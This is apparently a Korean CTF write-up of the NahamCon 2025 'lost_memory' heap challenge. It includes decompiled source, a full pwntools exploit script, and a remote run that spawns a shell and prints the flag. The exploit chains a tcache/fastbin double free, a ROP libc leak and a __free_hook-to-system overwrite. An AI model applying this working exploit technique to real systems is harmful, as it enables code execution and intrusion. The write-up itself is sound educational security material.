checksec
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ checksec ./lost_memory [*] '/home/ubuntu/study/naham2025/lost_memory/lost_memory' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
libc.so.6 version
Ubuntu GLIBC 2.31-0ubuntu9.17
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31. Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 9.4.0. libc ABIs: UNIQUE IFUNC ABSOLUTE For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Decompiled-src / Analysis
menu 함수를 보면 알다시피 5가지 존재한다.
인덱스를 지정하여 메모리를 할당하거나 해제, 데이터를 쓸 수 있으며
스택 값을 유출시킬 수 있는 5번 메뉴가 존재한다.
void *setup_globals() { void *result; // rax int i; // [rsp+Ch] [rbp-4h] memset(&input, 0, 0x100u); for ( i = 0; i <= 9; ++i ) { if ( *(&ptr + i) ) *(&ptr + i) = 0; if ( newPtr[i] ) newPtr[i] = 0; } memIndex = 0; result = memset(ptrSize, 0, sizeof(ptrSize)); choice = 0; size = 0; return result; } int menu() { puts("1. Allocate Memory"); puts("2. Write to Memory"); puts("3. Select Index"); puts("4. Free Memory"); puts("5. Store Flag Return Value"); puts("6. Exit"); return puts("Enter your choice:"); } int vuln() { __int64 v1; // rbx _QWORD v2[3]; // [rsp+8h] [rbp-18h] BYREF v2[0] = 0xDEADBEEFDEADBEEFLL; setup_globals(); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { choice = 0; menu(); fflush(stdin); fgets(&input, 256, stdin); choice = atoi(&input); memset(&input, 0, 0x100u); size = 0; if ( choice != 1 ) break; puts("What size would you like?"); fgets(&input, 256, stdin); size = atol(&input); memset(&input, 0, 0x100u); if ( size > 0x100 ) return puts("Size too large"); v1 = memIndex; *(&ptr + v1) = malloc(size); ptrSize[memIndex] = size; puts("Allocated memory"); } if ( choice != 2 ) break; puts("What would you like to write?"); fflush(stdin); fgets(&input, 256, stdin); if ( !input ) return puts("No input provided"); puts("Writing to memory..."); memcpy(*(&ptr + memIndex), &input, ptrSize[memIndex]); printf("ptr[memIndex] = %s\n", (const char *)*(&ptr + memIndex)); printf("input = %s\n", &input); memset(&input, 0, 0x100u); } if ( choice != 3 ) break; printf("Select an index to write to (0 - %d)\n ", 9); fgets(&input, 256, stdin); memIndex = atol(&input); memset(&input, 0, 0x100u); if ( (unsigned __int64)memIndex > 9 ) return puts("Invalid index"); } if ( choice != 4 ) break; if ( *(&ptr + memIndex) ) { puts("Freeing memory..."); free(*(&ptr + memIndex)); } else { puts("No memory to free"); } } if ( choice != 5 ) break; puts("Storing flag return value"); *(_QWORD *)*(&ptr + memIndex) = v2; printf("Stored return value: %p\n", *(const void **)*(&ptr + memIndex)); printf("Stored return value: %p\n", v2); } if ( choice == 6 ) return puts("Exiting..."); else return puts("Invalid choice"); }
Solution
1. tcache 가득 채우기 / 스택주소 누출하기
먼저 인덱스 0을 지정해 할당해준다음, 스택주소를 누출시킨다.
그런 다음 6번 더 할당히야 추후 tcache를 채우기 위해 준비작업을 한다.
이후 3번 더 할당시켜 추후 fastbin에 넣을 준비를 한다.
fastbin에 속하기 위해 malloc크기는 0x20으로 지정해주었고,
이제 tcache를 채우기 위해 처음 할당했던 인덱스부터 시작하여 할당해제를 시켜준다.
select_index(0) alloc(0x20) write_mem(b"AAAA") a, b = leak_mem() info(f"leak a:{a}, b:{b}") for i in range(1, 7): select_index(i) alloc(0x20) for i in range(7, 10): select_index(i) alloc(0x20) for i in range(0, 7): select_index(i) free_mem()
- Result
보다시피 tcache에 7번 가득채워진 것을 확인할 수 있다.
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ python3 solve2.py [+] Starting local process './lost_memory': pid 1107 [*] leak a:b'0x7fffffffe4a8', b:b'0x7fffffffe4a8' gdb -p 1107 ... gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x405470 (size : 0x20b90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x30) tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0 gdb-peda$
이후부터 인덱스 7을 선택해 free시키면, 그때부터는 fastbin에 들어가게 된다.
- 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x4053e0 --> 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x405470 (size : 0x20b90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x30) tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0
2. fastbin_dup 버그 트리거
tcache에 7번 가득채우면, 그 이후부터는 fastbin에 들어가게 된다.
free list의 top에 해당되지만 않으면, double-free를 트리거시킬 수 있기에
순서대로 7, 8, 7 인덱스에 할당된 메모리를 해제시켜준다.
# Trigger fastbin_dup select_index(7) free_mem() select_index(8) free_mem() select_index(7) free_mem()
- 결과
이제 tcache 리스트의 메모리 할당을 전부 다하고 나면(=전부 비우게 되면),
그 이후 fastbin 리스트를 보다시피 1번째와 3번째의 할당받는 주소가 서로 같게 된다.
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) ) (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x405470 (size : 0x20b90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x30) tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0 gdb-peda$
3. tache 리스트 비우기
tcache 리스트에 채워진 것들을 비우기 위해
같은 크기로 7번 다시 할당시킨다.
#empty tcache for i in range(0, 7): select_index(i) alloc(0x20)
- 결과
보다시피 tcache에 있던 리스트값들이 사라졌다.
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) ) (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x405470 (size : 0x20b90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0
4. fd값을 수정하여 AAW 1단계 / ROP chain을 통한 libc base 주소 계산
이제 fastbin으로부터 메모리 주소를 할당받는다.
fd 값을 수정하여 다음 4번째에서 할당받게될 주소를 vuln 함수의 rbp 주소로 가리키게 만든다.
vuln’s RET 주소에다가 puts(puts@got) + vuln 주소와 함께 ROP Chain을 구성한다.
vuln_rbp = int(a, 16) + 0x18 where = vuln_rbp select_index(7) alloc(0x20) write_mem(p64(where+8)) select_index(8) alloc(0x20) alloc(0x20) select_index(9) alloc(0x20) pop_rdi_ret = 0x40132e what = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln) write_mem(what) sla("Enter your choice:\n", "6") ru("Exiting...\n") leak = r(6) leak = uu64(leak) info(f"leak: {hex(leak)}") l.address = leak - l.sym.puts info(f"libc_base: {hex(l.address)}")
5. AAW 2단계 / free_hook을 system 함수로 덮어쓰기
ROP chain이 무사히 끝났다면, puts 주소가 누출되었을거고 다시 vuln 함수로 돌아가게 된다.
이전 1~4번을 통해 한번더 fastbin_dup 버그를 트리거하여 AAW하는데,
이번에는 free_hook 포인터 주소에 system 함수를 덮어써서 쉘을 획득하면 된다.
# 2. fill tcache? for i in range(0, 7): select_index(i) alloc(0x30) for i in range(7, 10): select_index(i) alloc(0x30) for i in range(0, 7): select_index(i) free_mem() select_index(7) free_mem() select_index(8) free_mem() select_index(7) free_mem() #empty tcache for i in range(0, 7): select_index(i) alloc(0x30) #Let's AAW2! where = l.sym.__free_hook select_index(7) alloc(0x30) write_mem(p64(where)) select_index(8) alloc(0x30) alloc(0x30) write_mem(b"/bin/sh\x00") select_index(9) alloc(0x30) what = p64(l.sym.system) write_mem(what) select_index(8) free_mem() pi()
solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import sys # p = process("./lost_memory") p = remote("challenge.nahamcon.com", 31899) e = ELF('./lost_memory',checksec=False) # l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) l = ELF('./libc.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() def alloc(size): sla("Enter your choice:\n", "1") sla("What size would you like?", str(size)) def select_index(idx): sla("Enter your choice:\n", "3") sl(str(idx)) def write_mem(what): sla("Enter your choice:\n", "2") sla(b"What would you like to write?\n", what) def free_mem(): sl("4") def leak_mem(): sl("5") ru(b"Storing flag return value\n") a = rl().split(b"Stored return value: ")[1].strip() b = rl().split(b"Stored return value: ")[1].strip() return a, b # 1. fill tcache? select_index(0) alloc(0x20) write_mem(b"AAAA") a, b = leak_mem() info(f"leak a:{a}, b:{b}") for i in range(1, 7): select_index(i) alloc(0x20) for i in range(7, 10): select_index(i) alloc(0x20) for i in range(0, 7): select_index(i) free_mem() # Trigger fastbin_dup select_index(7) free_mem() select_index(8) free_mem() select_index(7) free_mem() #empty tcache for i in range(0, 7): select_index(i) alloc(0x20) #Let's AAW! vuln_rbp = int(a, 16) + 0x18 where = vuln_rbp select_index(7) alloc(0x20) write_mem(p64(where+8)) select_index(8) alloc(0x20) alloc(0x20) select_index(9) alloc(0x20) pop_rdi_ret = 0x40132e what = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln) write_mem(what) sla("Enter your choice:\n", "6") ru("Exiting...\n") leak = r(6) leak = uu64(leak) info(f"leak: {hex(leak)}") l.address = leak - l.sym.puts info(f"libc_base: {hex(l.address)}") # 2. fill tcache? for i in range(0, 7): select_index(i) alloc(0x30) for i in range(7, 10): select_index(i) alloc(0x30) for i in range(0, 7): select_index(i) free_mem() select_index(7) free_mem() select_index(8) free_mem() select_index(7) free_mem() #empty tcache for i in range(0, 7): select_index(i) alloc(0x30) #Let's AAW2! where = l.sym.__free_hook select_index(7) alloc(0x30) write_mem(p64(where)) select_index(8) alloc(0x30) alloc(0x30) write_mem(b"/bin/sh\x00") select_index(9) alloc(0x30) what = p64(l.sym.system) write_mem(what) select_index(8) free_mem() pi()
Result
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ python3 solve2.py [+] Opening connection to challenge.nahamcon.com on port 31899: Done [*] leak a:b'0x7ffd5b1d1358', b:b'0x7ffd5b1d1358' [*] leak: 0x7dc31429d420 [*] libc_base: 0x7dc314219000 [*] Switching to interactive mode Select an index to write to (0 - 9) 1. Allocate Memory 2. Write to Memory 3. Select Index 4. Free Memory 5. Store Flag Return Value 6. Exit Enter your choice: Freeing memory... $ ls flag.txt lost_memory $ cat flag.txt flag{2658c992bda627329ed2a8e6225623c6}$ [*] Interrupted [*] Closed connection to challenge.nahamcon.com port 31899